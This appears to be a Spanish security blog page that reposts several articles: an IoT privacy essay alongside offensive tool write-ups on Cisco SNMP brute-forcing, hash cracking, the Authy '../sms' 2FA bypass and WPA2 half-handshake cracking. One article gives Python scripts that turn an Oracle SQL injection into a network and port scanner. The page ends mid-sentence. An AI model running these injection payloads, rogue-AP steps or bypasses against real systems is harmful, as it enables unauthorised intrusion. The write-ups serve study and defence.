viernes, 20 de marzo de 2015

Cisc0wn: el 0wner/script para Cisco SNMP


Cisc0wn es un sencillo script que permite la enumeración SNMP, fuerza bruta, descarga de configuración y cracking de contraseñas de dispositivos con Cisco IOS. 

Fue publicado hace un par de años por NCC Group Plc bajo licencia AGPL y sigue siendo bastante efectivo. Requiere Metasploit, John the Ripper y snmpwalk (se recomienda usarlo en BT5 o Kali) y tiene las siguientes características:

- Comprueba si SNMP está habilitado en el router
- Realiza ataques de fuerza bruta para obtener comunidades de sólo lectura y de escritura (se puede editar el diccionario a utilizar en la cabecera del script)
- Enumera la información como la versión de IOS, nombre de host, tabla Arp, tabla de enrutamiento, lista de interfaces y las direcciones IP utilizando la cadena de comunidad RO o RW.
- Si se encuentra la comunidad RW entonces descarga la configuración del router de forma automática.
- A continuación, busca y muestra cualquier enable o contraseñas de telnet en texto claro.
- Si encuentra cualquier contraseña en tipo 7 la decodifica automáticamente.
- Muestra las contraseñas de tipo 5 y trata de crackearlas.

Uso:
git clone https://github.com/nccgroup/cisco-SNMP-enumeration.git
./cisc0wn.sh
 
Fuente: http://www.hackplayers.com/2015/03/cisc0wn-el-0wnerscript-para-cisco-snmp.html

Ravan: Hash Cracking distribuido en JavaScript


Ravan de Attack & Defence Labs es un crackeador de hashes distribuido que corre en JavaScript. Con esta herramienta cualquiera puede subir un hash para crackearlo y utilizar su navegador web compatible con HTML5 para buscar por fuerza bruta basándose en un charset configurable.

Además otros usuarios o workers pueden contribuir con su CPU para asistir en el proceso de cracking de tu hash, todos ellos manejados por supuesto por un servidor o master a través de un backend web. Esto es especialmente interesante si tienes múltiples equipos o un montón de amigos que quieran ayudarte ;-).

Actualmente soporta versiones plain o salted de los algoritmos MD5, SHA-1, SHA-256 y SHA-512.

Más información aquí.
 
Fuente: http://www.hackplayers.com/2010/12/ravan-hash-cracking-distribuido-en.html

lunes, 16 de marzo de 2015

IoT: ¿En qué punto estamos?

Cuando hemos oído hablar del Internet de las Cosas, siempre nos han contado que todo estará interconectado proporcionando un nuevo modelo de sociedad, dónde veremos nuevas ciudades, con nuevos servicios y posibilidades infinitas. Viendo algunos ejemplos de ciudades inteligentes en las que en función de la persona que se acerca a un cartel se cambia la publicidad que se muestra, un servicio de basuras en el que los contenedores avisan a las centrales de cuando los límites del contenedor están cercanos, un despertador que nos despierta y se conecta a la nevera para saber si tenemos que comprar comida y, además, se conecta a nuestro coche para saber si debemos echar gasolina, o un sistema de riego el cual funciona de forma inteligente en función de la temperatura que se tiene en la ciudad. Todos tenemos claro que el Internet de las Cosas está cambiando, y terminará cambiando la sociedad tal y como la conocemos, pero también debemos tener en mente que existen unos riesgos que debemos entender y a los que debemos enfrentarnos. Algunas de las cosas mencionadas ya existen, otras terminarán llegando, pero tenemos la tecnología para que sea posible.
Principalmente, y esto es una opinión que cada uno puede tener, podemos visualizar riesgos que afectan a la privacidad del consumidor y riesgos que afectan a la seguridad de la sociedad como ente consumidor. Muchos de los dispositivos que empezamos a tener conectados a Internet, como neveras, televisiones inteligentes o relojes, envían información de los hábitos de uso de sus propietarios con lo que se puede realizar una recolección de información y un profiling muy valioso para empresas, entidades de marketing, incluso gobiernos. Como ejemplo podemos incluir el de los casos de Smart TV que envían información de los programas que ven sus propietarios, de la navegación que realiza con la televisión, incluso se accede a los nombres de los archivos de los discos duros que se enchufan al televisor. Este ejemplo se destapó en el año 2013, cuando la marca LG aceptó que recopilaban este tipo de información, incluso cuando la función de recolección de información estaba deshabilitada. Esto supuso un gran escándalo, ya que aunque el usuario no quisiera compartir dicha información, ésta se compartía. 
En Junio del 2014 se publicó un ataque a Smart TV que podía afectar a millones de televisiones inteligentes. La condición es que fueran hbbTV y el ataque se conoció como botón rojo. El paper indica que el ataque no es de alto coste, ya que se necesitarían alrededor de 400 dólares, y tendría un alcance de 20.000 dispositivos. La idea fundamental es la inserción de código en cualquier sitio web a elección del usuario malicioso, haciéndose pasar por un proveedor. En términos simples, el ataque consiste en interceptar la señal que viaja por el aire del proveedor, manipularla y volver a emitirla para que llegue a los televisores. No se puede verificar la política del mismo origen. Estaríamos en un escenario de MiTM, el cual se puede juntar con un drone para barrer un área grande y realizar un ataque masivo contra televisiones inteligentes. 
El mes pasado, a principios de Febrero de 2015, nos hicimos eco de una noticia que salpicaba a la marca Samsung y sus televisores inteligentes. La funcionalidad que permite a los usuarios ejecutar acciones simplemente indicando a la televisión acciones con la voz, hace que la televisión esté constantemente escuchando lo que el usuario dice. Además, estos comandos de voz no son solo procesados por la televisión, ya que son enviados a servidores de terceros, lógicamente con otros fines. Si comparamos con los smartphones o con nuestros portátiles están realizando más o menos la misma función, ya que cuando nosotros estamos teniendo una conversación vía teléfono o vía skype, por ejemplo, nuestros dispositivos también nos escuchan. El problema viene que seguramente no sabemos cuando nos están escuchando, o que hacen con la información que escuchan. Por ejemplo, el sistema Siri de Apple puede estar constantemente escuchando con la opción "hey siri" u "oye siri". Además, la aplicación de Facebook puede habilitarnos el micrófono en cualquier momento mientras estemos utilizando la aplicación. No solo con lo que hablamos, si no también con lo que escribimos, el tema de la publicidad de Facebook o Gmail, parece que nunca estamos solos. Samsung indicaba en su política de uso que enviarían los datos a un tercero, la empresa Nuance, la cual convertía la voz a texto. Es cierto que Samsung promete que elimina esta información de inmediato, aunque la mayoría de las empresas que hacen esto almacenan la información durante gran cantidad de tiempo en sistemas de Big Data. Por supuesto, almacenar esta información puede ser un gran riesgo, ya que cada día observamos incidentes de seguridad y acceso a información privada y de consumidores. ¿Están las empresas haciendo un mal uso de la información? ¿Están las empresas poniendo en riesgo la información de sus consumidores? Samsung cita en su política de privacidad:
Por favor, tenga en cuenta que si sus palabras habladas incluyen información confidencial personal o de otro tipo, será capturada y transmitida a un tercero a través de Internet y se hará reconocimiento de voz sobre ella.
Figura 1: Política de privacidad
No todo son televisiones, hoy en día han entrado ya en juego, y mucho, los coches. Los coches más inteligentes que ya se encuentran en el mercado aportan funcionalidades para recoger información como velocidad, posición del volante, presión de neumáticos, presión del pedal, rutas por las que viaje el coche, etcétera. Son datos que pueden resultar de más o menos interés, pero que se recogen, y que para un profiling de una persona puede ser utilizada. Además, existen otras funcionalidades que ya pueden hacerse en remoto, como es la apertura de puertas del coche, encender un vehículo, o conectar otros dispositivos al vehículo. ¿Dónde está el limite con la seguridad de los ocupantes del vehículo? 
Podemos también comentar sobre relojes inteligentes, pulseras que recopilan información de nuestro ritmo cardíaco, que trackean por dónde nos movemos, por dónde salimos a correr, las calorías perdidas, etcétera. Después, esta información es subida a Internet y perdemos el control sobre ella. Además, en muchas ocasiones esta información es pública sin que el usuario sepa que esto ocurre, y poniendo en riesgo la privacidad de sus itinerarios por los que sale a correr.
Sí, el IoT afecta a la privacidad del consumidor debido a la recopilación de información de éste, de sus hábitos, de sus acciones, de sus gustos, esto puede afectar a la generalización del modelo IoT, ya que un usuario puede perder la confianza. La pérdida de confianza puede provocar que IoT no llegue a amoldarse en nuestras vidas, aunque las grandes marcas están haciendo grandes esfuerzos por introducir este tipo de dispositivos que conforman parte del ecosistema IoT. La seguridad es el otro gran factor que IoT debe cumplir, una seguridad por diseño que esté presente en la construcción de los sistemas y dispositivos que formarán parte de este gran ecosistema ubicuo. Hoy en día, existen empresas que no tienen en cuenta este requisito de la sociedad y, seguramente, serán penalizadas con la pérdida de confianza por parte de los usuarios. La seguridad poco a poco se ha convertido en un requisito innegociable, tanto para empresas como para usuarios de a pie. En la parte de seguridad tenemos a proveedor de Software y Hardware con gran cantidad de años de ventaja en estos desarrollos, los cuales aportan su experiencia, pero por el contrario tenemos a nuevos desarrolladores y empresas que se introducen en este mundo sin experiencia previa, y no tienen la seguridad de los dispositivos entre sus principales objetivos. Por otro lado, otra de las cuestiones a tener en cuenta es que algunos de los dispositivos son pequeños y tienen recursos muy limitados, por lo que su capacidad de cómputo y recursos son bajos, y en muchas ocasiones su bajo coste hace que sean desechables, teniendo una difícil actualización en caso de encontrarse una vulnerabilidad en alguno de ellos.   
Por supuesto, algunas de las cosas que se piden a las empresas es que utilicen lo que se conoce como seguridad por diseño y utilicen buenas prácticas en el ciclo de desarrollo del software o de los componentes. Otra de las cosas que se piden es minimizar la exposición de datos de los consumidores, o que se utilicen algunas medidas que hagan transparente el cómo se utilizan los datos de los usuarios. 
Como conclusión humilde, sencilla y simple, ¿Deberíamos regular los sistemas que escuchan? ¿Deberíamos regular el uso de la información que estos sistemas que nos rodean realizan de nuestras conductas, de nuestros hábitos, de nuestra forma de vida? Quizá hay demasiados agentes a nuestro alrededor recopilando información sobre lo que hacemos en el día a día, empezamos con ordenadores, continuamos con los smartphones y se han ido incorporando las televisiones, neveras, vehiculos... Suficiente información como para realizar un profiling de una persona exhaustivo, ¿Fantasía o realidad? 

Fuente: http://www.flu-project.com/2015/03/iot-en-que-punto-estamos.html

De una inyección SQL a un escáner de red

Hace poco, haciendo una auditoría web, encontré un parámetro que era vulnerable a SQL injection.

Tras un pequeño análisis, identifiqué que se trataba de un servidor Oracle y que no iba a ser fácil extraer información de la base de datos porque se ve que la inyección debía de estar en la llamada a un procedimiento almacenado.

Algo así como:

procedimiento_almacenado (parámetro_vulnerable);

Oracle, en esta sintaxis, no permite añadir consultas del tipo SELECT, así que realizar las típicas inyecciones para determinar el usuario de la base de datos, el nombre de ésta, qué tablas las forman... no iba a funcionar.

Tras probar muchas cosas, vi que sí que podía utilizar variables SYS_CONTEXT para recuperar variables del sistema relativas a la configuración ya que, aunque no podía hacer un:

SELECT user from DUAL;

Sí que podía (ojo, era una inyección de tipo numérico):

55 - (ASCII (SUBSTR (user,1,1)) - ASCII('U') )

O, del mismo modo:

55 - (ASCII (SUBSTR (SYS_CONTEXT('USERENV', 'CURRENT_USER'), 1, 1)) - ASCII('U') )

Con esto, no tenía acceso a los datos de la base de datos en sí, pero obtuve información principalmente relacionada con el entorno Oracle como usuarios, dirección IP del servidor, tipo de autenticación utilizada...

Ya estaba a punto de desesperarme y decidir que no podía llegar mucho más allá cuando me acordé de los procedimientos almacenados de los que os hablé en la entrada anterior: UTL_HTTP y UTL_INADDR.

Así que pensé: ¿qué pasará si digo de utilizar UTL_HTTP para acceder a otros puertos del servidor para intentar determinar si están o no abiertos? Algo en plan:
  • http://10.0.2.51:22
  • http://10.0.2.51:80
  • http://10.0.2.51:443
  • http://10.0.2.51:8080
  • http://10.0.2.51:1521
  • ...
Imaginad mi sorpresa cuando veo que efectivamente funcionaba. Es más, Oracle era tan bondadoso que me decía claramente si el puerto estaba o no abierto:

  • Error cuando el puerto estaba abierto:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-29263: HTTP protocol error ORA-06512: at line 1 at [...]

  • Error cuando el puerto estaba cerrado:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12541: TNS:no listener ORA-06512: at line 1 at [...]


Creo que la siguiente pregunta que me hice es evidente... ¿Y si escaneo otros hosts de la red? Pues exactamente igual. En este caso, lo que hice fue siempre preguntar por el puerto 22 y observé las respuestas:

  • Cuando no existía el host:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12543: TNS:destination host unreachable ORA-06512: at line 1 at [...]

Cuando existía el host en la red, el error que devolvía era alguno de los dos errores asociados a si el puerto estaba o no abierto.

Así que cogí y en un rato me hice mi propio escáner de puertos a través del SQLi que había encontrado. Éste es el resultado que puede servir como prueba de concepto:

Escaneo de red:


import requests
 
cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}
 
i = 0
 
for i in range(254):
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://10.0.2.%s:22/')) )" % str(i+1), cookies=cookies, headers=headers )
 
 if not "destination host unreachable" in r.text:
  print "Alive: 10.0.2.%s" % str(i+1)

Este script se ejecutará directamente:

$ python network_scan.py

Escaneo de puertos:



import requests
import sys
 
cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}
 
topports = (26, 554, 32768, 8000, 8443, 2000, 1026, 179, 5060, 514, 10000, 6001, 81, 113, 548, 465, 1720, 199, 8888, 587, 1025, 5900, 993, 995, 111, 1723, 8080, 3306, 135, 53, 143, 139, 445, 110, 3389, 25, 22, 21, 443, 23, 80, 37, 119, 9100, 4899, 2717, 1755, 873, 1028, 49157, 5051, 6646, 9, 1029, 13, 1900, 3986, 5432, 3000, 5190, 7070, 5009, 9999, 444, 3128, 8009, 389, 7, 144, 5101, 544, 543, 49156, 427, 5357, 990, 513, 6000, 49155, 1110, 2121, 106, 5800, 79, 88, 2049, 8081, 49153, 631, 5631, 5000, 646, 5666, 1027, 49154, 8008, 515, 2001, 49152, 1433)
 
i = 0
 
for i in topports:
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://%s:%s/')) )" % ( sys.argv[1], str(i)), cookies=cookies, headers=headers )
 
 if not "no listener" in r.text:
  print "Open port: %s" % str(i)


Este script, recibe la dirección IP a escanear como entrada. Por ejemplo:

$ python port_scan.py 10.0.2.51

Y de este modo conseguí que una vulnerabilidad que no hubiera pasado ni pena ni gloria, se convirtiera en algo interesante. Es más, con más tiempo podría haber intentado acceder a otros de los servicios que encontré abiertos (entre ellos un JBoss en un puerto 8080).
 
Fuente: http://laxmarcaellugar.blogspot.com/2014/03/de-una-inyeccion-sql-un-escaner-de-red.html

El peligro de hacer publico el IMEI de tu dispositivo movil

Bueno en vista de ver y de tanto ver como muchas personas publican su código IMEI en distintos foros y sitios webs de preguntas y respuestas tanto como en sitios que se dedican a realizar estafas gracias a la ingenuidad de muchos, explicaré un poco del gran riesgo que existe en esto.



A continuación voy a mostrarles un ejemplo de como personas publican libremente su código IMEI cometiendo un terrible error del cual no estan al tanto:


Existen distintas formas de mandar tu dispositivo movil al carajo si se quiere a continuación te mostraré lo que alguien puede hacer con tu IMEI:

1. Clonar tu telefono movil


Un teléfono celular clonado es un aparato que fue reprogramado para transmitir el código del aparato y el código de un abonado habilitado. Así, el defraudador usa el aparato clonado para hacer las llamadas telefónicas y las mismas son debitadas en la cuenta del titular de la línea.

¿Cómo se realiza la clonación?
Generalmente el fraude de clonación pasa cuando el usuario se encuentra fuera del área de movilidad de origen, o sea, en "roaming", y operando en modo analógico.

Personas inescrupulosas obtienen el código del aparato/código del usuario(IMEI) por medio de monitorización ilegal de teléfono celular habilitado. Supuestamente, cada teléfono celular posee un único código. Pero, después de la clonación, existirán dos teléfonos celulares con el mismo código del aparato/código del subscriptor. En esta condición, la central de la prestadora de servicio celular no consigue distinguir el aparato clonado de uno debidamente habilitado.


Indicios
  • Dificultades para completar llamadas generadas
  • Caídas frecuentes de conexión
  • Dificultades para llamar su buzón de mensajes
  • Llamadas recibidas de números desconocidos, nacional e internacional
  • Importes por prestación de servicios muy superiores a la media
Según eh oido que es posible enviar archivos maliciosos por medio del bluetooth al dispositivo primario desde el secundario, desconozco este método en realidad

2. Denunciar tu Telefono movil y bloquearlo


Con tu código IMEI realizan una denuncia con el mismo y el modelo en comisaria y lo bloquean, No obstante simplemente pueden acceder a Movistar(Robo de equipos), realizar un reporte y facilmente tu telefono puede quedar inhabilitado por hacer hacer tu IMEI publico.


Mis recomendaciones son simples... NO PUBLIQUES TU CÓDIGO IMEI ESO ES COMO TU DOCUMENTO DE IDENTIDAD. Gracias.
 
Fuente: http://carluys.blogspot.com/2014/06/el-peligro-de-hacer-publico-el-imei-de.html

How "../sms" could bypass Authy 2 Factor Authentication (Como saltar la segunda autenticación)


The first part defines Format Injection and explains interesting but low severity bug in Duo Web SDK.
Meanwhile we audited another popular 2FA provider and found a High-severity format injection in Authy API. In fact the root of the problem was default Sinatra dependency “rack-protection”!

There are two API calls:
  1. The client requests new token: http://api.authy.com/protected/json/sms/AUTHY_ID?api_key=KEY where AUTHY_ID is publicly available identifier associated with current user account. Expected response: {"success":true,"message":"SMS token was sent","cellphone":"+1-XXX-XXX-XX85"} with 200 status.
  2. The user sends the token back and the client verifies if the token is valid with http://api.authy.com/protected/json/verify/SUPPLIED_TOKEN/AUTHY_ID?api_key=KEY and authenticates with second factor if API responds with 200 status (body is ignored): {"success":true,"message":"Token is valid.","token":"is valid"}

Authy-node does not encode token from user params

There was a blatant bug in authy-node - “token” supplied by the user was not URL encoded at all: this._request("get", "/protected/json/verify/" + token + "/" + id, {}, callback, qs);
Which means by typing VALID_TOKEN_FOR_OTHER_AUTHY_ID/OTHER_AUTH_ID# we would overwrite the path and make the client send /protected/json/verify/VALID_TOKEN_FOR_OTHER_AUTHY_ID/OTHER_AUTH_ID#/AUTH_ID. Anything after hash # is ignored and Authy’s response with 200 status for /protected/json/verify/VALID_TOKEN_FOR_OTHER_AUTHY_ID/OTHER_AUTH_ID?api_key=KEY let’s the attacker in.
It’s impossible to distinguish forged request from a valid one on the server side because #/AUTHY_ID is not sent.

Authy-python is vulnerable too

Then I noticed Python’s urllib.quote doesn’t escape slashes. Indeed, for some reason it escapes everything but slashes and it’s a documented feature - urllib.quote("#?&=/") returns %23%3F%26%3D/. Which means our “../sms” will not be encoded (/../ means “go one directory up”).
Web browsers parse /../, /%2e%2e/ and even /%252e%252e/ and go “one directory up”, but web servers don’t have to do it. Anyway, I tried and it worked - Authy API was removing directories before /../.
It introduces path traversal making attacker’s job much easier - you only need to type ../sms to turn /verify API call into /sms (/verify/../sms/authy_id) which will always return 200 status and will bypass 2FA.

No, wait. Everyone is vulnerable!

Few hours later I realized what made path traversal work: I recently read Daniel’s interview on Authy and recalled it runs Sinatra, which uses rack-protection by default.
It turns out even URL encoding was futile - path_traversal module in rack-protection was decoding %2f back to slashes! This literally affects every API running Sinatra and reading parameters from the path. This is also a great example how libraries or features that aim to add security actually introduce security vulnerabilities (see also CSP for evil and XSS auditor for evil)

  1. The attacker types ../sms in the SMS token field
  2. The client app encodes it as ..%2fsms and makes an API call to Authy - https://api.authy.com/protected/json/verify/..%2fsms/authy_id
  3. Path_traversal middleware decodes path to https://api.authy.com/protected/json/verify/../sms/authy_id, splits by slashes and removes the directory in front of /...
  4. Actual Authy API sees modified path https://api.authy.com/protected/json/sms/authy_id, simply sends another SMS to authy_id (the victim) and responds with 200 status and {"success":true,"message":"SMS token was sent","cellphone":"+1-XXX-XXX-XX85"}
  5. All Authy SDK libraries consider 200 status as a successful response and let the attacker in. Even a custom integration most likely will look for "success":true in the JSON body, and our /sms response body has it. So the only secure way to verify the response is to search for "token":"is valid" substring (which is what Authy libraries do now).
Yes, the attacker was able to bypass 2 factor authentication on any website using Authy with something as simple as ../sms in the token field!
Timeline: reported on Feb 8, the path_traversal module was patched right away and we waited for a month to let authy-node users to update.
This is another example of format injection and why you need to treat URLs as a format like JSON or XML. Read our first post on format injection in Duo Security Web SDK.

Fuente: http://sakurity.com/blog/2015/03/15/authy_bypass.html

jueves, 12 de marzo de 2015

Crackeando WPA2 con un Half-Handshake

Las redes wifi con WPA/WPA2 activado suelen ser suficientemente seguras y dadas sus características, a la fecha de redactar este articulo, la única forma de atacar directamente una red con este mecanismo de protección es intentando capturar un 4way-handshake entre el cliente y un AP. Un 4way-handshake en la terminología de WPA se refiere a los paquetes de datos intercambiados entre AP y cliente a la hora de realizar el proceso de autenticación mutuo. No obstante, aunque un handshake completo es lo deseado para poder iniciar un ataque por diccionario, también es posible hacerlo con un handshake “a medias”, es decir, cuando el cliente inicia el proceso de autenticación con un AP y dicho proceso ha fallado. Ahora bien, seguramente el lector ya lo sabe, pero cuando un dispositivo tiene registrado un AP con el que suele conectarse con frecuencia (como por ejemplo una red wifi domestica), dicho dispositivo envía de forma constante paquetes del tipo “PROBE_REQUEST” con la esperanza de que el AP se encuentre en en la zona de alcance. Cuando un AP con el SSID especificado responde con un “PROBE_RESPONSE”, el proceso de autenticación en ambos sentidos comienza inmediatamente, dando lugar a una serie de peticiones que identifican tanto al cliente como al AP y determinan si ambos son quienes dicen ser. Se trata de un procedimiento robusto en el que la relación de confianza en ambos sentidos es vital para que la conexión se pueda realizar correctamente. No obstante, es posible que solamente una de las dos partes se pueda identificar con la otra de forma correcta, en este caso hablamos de un handshake a medias, ya que solamente una de las dos entidades ha podido reconocer a la otra. Con un handshake a medias también es posible realizar el mismo ataque por diccionario que con un handshake completo y por este motivo, también es un vector de ataque valido en este tipo de entornos.
Ahora, ¿Cuándo y cómo se debe llevar a cabo este tipo de ataque? Cuando se capturan los paquetes “PROBE_REQUEST” de un cliente, dichos mensajes contienen el SSID del AP que el cliente busca y en este punto, un atacante puede levantar un AP falso con dicho SSID para responder a las peticiones enviadas por el cliente. Para responder al “cómo” de la pregunta anterior, pueden haber varios mecanismos validos, como por ejemplo utilizando la herramienta “ap-hotspot”. Por simplicidad y porque es una solución rápida de implementar, se puede utilizar la herramienta “KDE NetworkManager” o el “NetworkManager de Gnome”, a efectos prácticos utilizar cualquiera de los dos resulta equivalente.

Configurando un AP inalámbrico con el NetworkManager

En sistemas Debian el paquete que incluye el KDE NetworkManager es el “network-manager-kde” y en sistemas Ubuntu el “plasma-nm”. Como es acostumbrado en este tipo de sistemas, se puede instalar muy fácilmente utilizando herramientas como “apt-get”. Por otro lado, en sistemas Debian y Ubuntu con GNOME, el NetworkManager viene incluido por defecto y se puede ver en el panel lateral en donde se encuentran otras herramientas del escritorio. En ambos casos, crear un AP es bastante simple, las imágenes que se enseñan a continuación muestran cómo crear un AP con un SSID y una contraseña. (Antes de crear la conexión, asegurarse de que la red wifi se encuentra desactivada).

wifi1
Creando conexión inalámbrica con NetworkManager de Gnome
wifi2
Estableciendo los detalles básicos de conexión
wifi3
Estableciendo credenciales de acceso a la conexión.
Después de crear la conexión, aun es necesario cambiar el modo de la conexión, de esta forma actuará como AP. Para ello, es necesario editar el siguiente fichero de configuración.
sudo gedit /etc/NetworkManager/system-connections/ONO-FAKE
Donde “ONO-FAKE” es el nombre que se le ha dado a la conexión. Al abrir dicho fichero de configuración, es necesario cambiar la línea “mode=infrastructure” por “mode=ap”. El contenido del fichero será similar al siguiente:
[connection]
id=ONO-FAKE
uuid=c3704266-e143-4705-a3c0-9511fc2d37eb
type=802-11-wireless
[802-11-wireless]
ssid=ONO12B5
mode=infrastructure
mac-address=9C:D2:1E:43:76:E9
security=802-11-wireless-security
[802-11-wireless-security]
key-mgmt=wpa-psk
psk=testingwpa2ap
[ipv4]
method=auto
[ipv6]
method=auto
Con todo lo anterior, ahora se puede activar la red wifi y el dispositivo actuará como un AP con el SSID indicado.
El siguiente paso consiste en capturar todo el trafico correspondiente a las conexiones que realizarán los clientes contra el AP recién creado. Para ello, se puede utilizar Wireshark, TCPDump o airodump-ng para capturar el handshake a medias.
sudo tcpdump -i wlan0 -s 65535 -w half-handshake.cap
Una forma de conseguir trafico, es utilizando herramientas como aircrack-ng para ejecutar ataques de “deauthenticación” contra los clientes de una red determinada. En el caso de que no exista un AP con el SSID especificado en la zona de acción, pero que se tenga la plena seguridad de que en algún momento habrá clientes que busquen dicho SSID, solamente será cuestión de paciencia y esperar a que dichos clientes ejecuten las peticiones “PROBE_REQUEST”.
Finalmente, es el momento de realizar el ataque por diccionario y para ello, se puede utilizar una herramienta llamada “WPA2-HalfHandshake-Crack”

Utilizando WPA2-HalfHandshake-Crack

“WPA2-HalfHandshake-Crack” es una herramienta que se encarga de realizar ataques por diccionario contra ficheros PCAP con un handshake completo o uno a medias. El proyecto se encuentra ubicado en el siguiente repositorio de GitHub: https://github.com/dxa4481/WPA2-HalfHandshake-Crack.git
Es necesario instalar todas las dependencias para poder ejecutar el script y para ello, se puede lanzar el script setup.py con el argumento “install”. La utilidad principal del proyecto es “halfHandshake.py” y recibe como argumento las siguientes opciones:
-r: Fichero PCAP con el handshake o el handshake a medias que se ha capturado previamente
-m: Dirección MAC del AP.
-s: El SSID del AP.
-d: Ubicación del diccionario para realizar el ataque. Si no se especifica un valor, se lee el diccionario por defecto de la herramienta.
Usando el fichero PCAP capturado en el paso anterior y un diccionario que contiene la contraseña, se puede ejecutar la utilidad para intentar obtener el passphrase.
python halfHandshake.py -r half-handshake.cap -m FC15B4FCF606 -s “ONOB4387″ -d dictONOFAKE
loading dictionary…
0.02212665655% done. 700.23228772 hashes per second
0.0431311549654% done. 713.574044375 hashes per second
0.0637903739549% done. 714.927209317 hashes per second
0.0851689250818% done. 721.570195251 hashes per second
0.105885690642% done. 721.111075404 hashes per second
Passphrase found! testingwpa2ap
Como se puede apreciar, ha sido rápido y limpio, evidentemente porque el diccionario especificado ya contenía la passphrase del AP, sin embargo es bastante ilustrativo para probar el uso de esta herramienta y verificar que aunque no se cuente con un handshake completo, aun sigue siendo posible realizar un ataque por diccionario con un handshake a medias.

Fuente: http://thehackerway.com/2015/03/10/crackeando-wpa2-con-un-half-handshake/

XSScrapy para procesos de crawling e identificación de vulnerabilidades

Scrapy es un framework que cuenta con varias utilidades para crear spiders y crawlers, se ha vuelto bastante popular y en cada nueva versión es mucho más estable y robusto. Hace algún tiempo comentaba en un vídeo de la serie de Hacking con Python los elementos que a mi parecer eran los más interesantes de Scrapy y cómo se puede utilizar desde cualquier script en Python. Dado que este tipo de actividades casi siempre suelen ir de la mano con procesos de minería y extracción de datos, a lo mejor no resulta tan llamativo para un pentester/hacker (o si), pero cuando hablamos de ejecutar un proceso de crawling no solo para extraer información, sino para detectar vulnerabilidades en aplicaciones web, seguro que más de uno comienza a ver que se pueden hacer cosas muy interesantes.
Si has visto como funciona un spider y la cantidad de elementos involucrados en un proceso de crawling, casi seguro que alguna vez te habrás preguntado ¿Y cómo puedo utilizar esto para ejecutar tareas de pentesting? Creo que es una pregunta bastante lógica, ya que además de visitar enlaces y analizar la estructura de un sitio web, también estás jugando con cabeceras HTTP, parámetros en el cuerpo de la petición o directamente en la URL, formularios, diferentes tipos de “content-types” y un largo etc. Son muchas las posibilidades que tienes a tu disposición.
Ahora bien, imaginar por un segundo que esto lo aplicamos no solamente a aplicaciones web en Internet, sino también a servicios ocultos del tipo HTTP en la red de TOR. A mi personalmente me ha parecido una idea de lo más interesante y ahora mismo me encuentro desarrollándola para la próxima versión Tortazo, algo de lo que pienso hablaros en un próximo articulo.
Si quieres utilizar Scrapy directamente y realizar pruebas de pentesting contra todos los enlaces encontrados y procesados por un Spider, no hay demasiados impedimentos para hacerlo, sin embargo existe una herramienta que ya lo hace por ti, dicha herramienta es XSScrapy.
  1. Instalación y uso de XSScrapy

XSScrapy es una aplicación fácil de instalar y de usar, como ya os imaginaréis se basa en Scrapy y permite encontrar vulnerabilidades del estilo XSS (tanto reflejado como almacenado) y también vulnerabilidades del tipo SQLi. El proyecto se encuentra alojado en el siguiente repositorio de GitHub https://github.com/DanMcInerney/xsscrapy y para instalarlo basta con utilizar el comando “pip” junto con el fichero de dependencias.
>pip install -r requirements.txt
A continuación se puede comenzar a probar la aplicación, que sobresale por su simplicidad.
>./xsscrapy.py -h
usage: xsscrapy.py [-h] [-u URL] [-l LOGIN] [-p PASSWORD] [-c CONNECTIONS]
[-r RATELIMIT] [–basic]
optional arguments:
-h, –help show this help message and exit
-u URL, –url URL URL to scan; -u http://example.com
-l LOGIN, –login LOGIN
Login name; -l danmcinerney
-p PASSWORD, –password PASSWORD
Password; -p pa$$w0rd
-c CONNECTIONS, –connections CONNECTIONS
Set the max number of simultaneous connections
allowed, default=30
-r RATELIMIT, –ratelimit RATELIMIT
Rate in requests per minute, default=0
–basic Use HTTP Basic Auth to login
Evidentemente la opción que resulta más interesante es en la que se puede definir la URL (-u/–url) del objetivo y a partir de allí, comenzar a ejecutar el procesamiento de enlaces y peticiones/respuestas HTTP. Otra opción interesante es la que permite establecer el número de conexiones simultaneas máximo contra el sitio web en cuestión (-c/–connections) algo que resulta muy practico para evitar que un WAF detecte el ataque y bloquee las peticiones desde la IP donde se realizan. Además, en el caso de que el sitio web requiera autenticación (digest o basic) es posible indicar un usuario y una contraseña con los interruptores -l y -p.
Ahora que tenemos una imagen general del funcionamiento del programa, podemos comenzar a utilizarlo con una aplicación web vulnerable. Existen aplicaciones web para realizar pruebas de penetración de todos los gustos y colores, algunas de ellas ya las he mencionado y explicado en varias ocasiones en este sitio, tales como DOJO InsecureWebApp, Hacme Casino, DVWA (Damn Vulnerable Web Application), WebGoat, etc. En esta ocasión vamos a utilizar Django-Moth, una aplicación web vulnerable escrita en Django que puedes descargar libremente desde aquí: https://github.com/andresriancho/django-moth pero si lo prefieres puedes utilizar cualquier otra, a efectos prácticos da un poco igual.
Después de descargar el proyecto del repositorio GitHub, se puede iniciar la aplicación Django de la siguiente forma:
>python manage runserver 8080
Performing system checks…
System check identified no issues (0 silenced).
February 18, 2015 – 17:05:08
Django version 1.7.1, using settings ‘djmoth.settings’
Starting development server at http://127.0.0.1:8080/
Quit the server with CONTROL-C.
El puerto por defecto es el 8000, pero como se puede apreciar se puede cambiar por cualquier otro. Recordar que se trata de una aplicación web con vulnerabilidades fáciles de explotar, evitar utilizarla en Internet y mucho menos, utilizar un puerto como el 80 que requiere privilegios de root.
Todas las vulnerabilidades de Django Moth se encuentran separadas por secciones, pero aun así, el crawler de XSScrapy, a la fecha de redactar este articulo, no permite establecer reglas para indicar en qué momento debe detenerse el ataque y cuales son los enlaces que se permite visitar. Tal falta de control es un problema a la larga, ya que muchas páginas tienen enlaces a otros dominios y es fácil que el proceso recursivo termine llevando al crawler a sitios que no deberían analizarse, así que hay que estar atentos a las trazas que arroja el programa en todo momento. Ahora se puede ejecutar algo como lo siguiente:
